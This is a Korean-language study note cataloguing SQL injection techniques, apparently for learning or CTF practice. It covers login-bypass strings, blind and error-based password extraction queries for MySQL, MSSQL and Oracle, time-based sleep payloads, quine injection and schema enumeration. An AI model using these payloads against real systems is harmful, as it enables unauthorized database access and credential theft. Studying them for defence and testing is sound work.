SQL Injection 공격 기법
정리글 모음
- DBMS 종류 별 공격 기법 요약
- Server-side Advanced - SQL Injection
SQL Injection
1
2
3
4
5
select id from table where id='' or 1 #'
select id from table where id='' or id='admin' #'
select id from table where id='' or 1 --%20'
Blind SQL Injection
1
2
3
4
5
6
7
select id from table where id='' or id='admin' and ascii(substr(pw,1,1))>1 #'
select id from table where id='' or id='admin' and ord(substr(pw,1,1))>1 #'
select id from table where id='' or id='admin' and ascii(substring(pw,1,1))>1 #'
select id from table where id='' or id='admin' and ascii(mid(pw,1,1))>1 #'
Subquery
- Subquery Reference
- dev.mysql.com/doc/refman/8.0/en/subqueries.html
Subquery
한 쿼리 내에 또 다른 쿼리를 사용하는 것으로 사용 시 쿼리 내에서 괄호를 사용하여 괄호 안에 구문을 삽입해야하며 SELECT 문만 사용가능하다.
- SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 때에는 단일 행 (Single Row)과 단일 컬럼(Single Column)이 반환되야 한다.
ERROR 1242 (21000): Subquery returns more than 1 row
ERROR 1241 (21000): Operand should contain 1 column(s)
FROM 절에서는 다중 행 (Multiple Row)과 다중 컬럼 (Multiple Column) 결과를 반환할 수 있다.
- WHERE 절에서 서브 쿼리를 사용하면 다중 행 결과를 반환하는 쿼리문을 실행할 수 있다.
1
2
3
4
5
6
7
mysql> SELECT 1,2,3,(SELECT 456); -- 서브 쿼리 사용 예시
+---+---+---+--------------+
| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+
| 1 | 2 | 3 | 456 |
+---+---+---+--------------+
1 row in set (0.00 sec)
Error Based SQL Injection
에러를 이용한 공격을 하려면 쿼리가 실행하기 전 발생하는 문법 에러가 아닌, 쿼리 실행 후 발생하는 에러가 필요하다.
가장 많이 사용되는 코드는 extracvalue
함수로 아래와 같다.
1
2
3
SELECT extractvalue(1,concat(0x3a,version()));
/* ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log' */
extractvalue
함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.
만약, 두 번째 인자가 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력한다.
1
2
3
4
5
6
7
8
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
1
2
3
4
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
그 외에도 Mysql에서 사용 가능한 여러 방법이 있으며 DBMS에 따라 방법이 다르다.
1
2
3
SELECT updatexml(null,concat(0x0a,version()),null);
/* MySQL ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */
- Double Query Injection
1
2
3
4
5
6
7
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
select 1 from (select count(*), concat((select version()), 0x3a, floor(rand()*2)) x from information_schema.tables group by x) y
row(1,1)>(select count(*), concat(ps,0x3a,floor(rand()*2)) as a from information_schema.tables group by a)
/* MySQL ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */
- Link
- medium.com/cybersecurityservices/sql-injection-double-query-injection-sudharshan-kumar-8222baad1a9c
- row(1,1) 의미
- ch4njun.tistory.com/88
- row() Reference
- dev.mysql.com/doc/refman/8.0/en/row-subqueries.html
- row() 정리
- The expression is unknown (that is, NULL) if the subquery produces no rows.
- An error occurs if the subquery produces multiple rows because a row subquery can return at most one row.
- The expressions (1,2) and ROW(1,2) are sometimes called row constructors. The two are equivalent.
- The row constructor and the row returned by the subquery must contain the same number of values.
- A row constructor is used for comparisons with subqueries that return two or more columns.
- When a subquery returns a single column, this is regarded as a scalar value and not as a row, so a row constructor cannot be used with a subquery that does not return at least two columns.
- An error occurs if the subquery produces multiple rows because a row subquery can return at most one row.
1
2
3
4
5
SELECT * FROM t1 WHERE (column1,column2) = (1,1);
/* 같은 의미 */
SELECT * FROM t1 WHERE column1 = 1 AND column2 = 1;
1
2
3
For row comparisons, (a, b) > (x, y) is equivalent to:
(a > x) OR ((a = x) AND (b > y))
- MSSQL
1
2
3
4
5
6
7
8
9
10
11
12
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar value '
Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)
Feb 20 2014 19:20:46
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/
- ORACLE
1
2
3
4
5
6
7
8
9
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/
Error Based Blind SQL Injection
1
2
3
4
5
6
7
8
9
10
11
-> double형 최대 값 넘은 값 (0xffffffff*0xffffffffffff)
-> subquery 리턴 개수 1임을 이용한 에러 이용
select if(1=1, 9e307*2,0); /* ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)' */
select id from table where id='' or id='admin' and if(ascii(substr(pw,1,1))>1,1,0xfffffff*0xffffffffff)#'
select id from table where id='' or id='admin' and if(ascii(substr(pw,1,1))>1,1,(select 1 union select 2)) #'
select id from table where id='' or id='admin' and if(ascii(substr(pw,1,1))>1,1,(select 1 from table)) #'
--> select 1 from table 하면 3개의 값이 리턴됨.
Time Based SQL Injection
Time based SQL Injection은 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법.
방법으로는 DBMS에서 제공하는 함수를 이용하는 것과 시간이 많이 소요되는 연산을 수행하는 헤비 쿼리 (heavy query)를 사용하는 방법이 있다.
SELECT SLEEP(10);
SELECT BENCHMARK(40000000,SHA1(1));
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
Time Based Blind SQL Injection
1
select id from table where id='' or id='admin' and ascii(substr(pw,1,1))=48 and sleep(5) #'
Quine SQL Injection
- 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];
- 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];
정리하면 다음과 같음.
1
2
3
4
5
$a = [추가해도 됨] select replace(replace("$", char(34), char(39)), char(36), "$") as quine [추가해도 됨]
# -> 단, 더블쿼터가 싱글쿼터로 바뀐다는 점 유의해서 추가
[추가해도 됨] select replace(replace('$a', char(34), char(39)), char(36), '$a') as quine [추가해도 됨]
Information_Schema
- mysql에 접속한 유저 목록 출력
select user() 또는 select system_user()
- 해당 mysql 서버에 존재하는 db 목록 출력
select schema_name from information_schema.schemata
- test db에 존재하는 테이블, 컬럼 목록 출력
select table_name, column_name from information_schema.columns where table_schema = 'test'
- 현재 DB에 존재하는 테이블, 컬럼 목록 출력
select table_name, column_name from information_schema.columns where table_schema = database()
- 현재 입력한 쿼리문 출력
select * from information_schema.processlist
select user,current_statement from sys.session
PROCEDURE ANALYSE()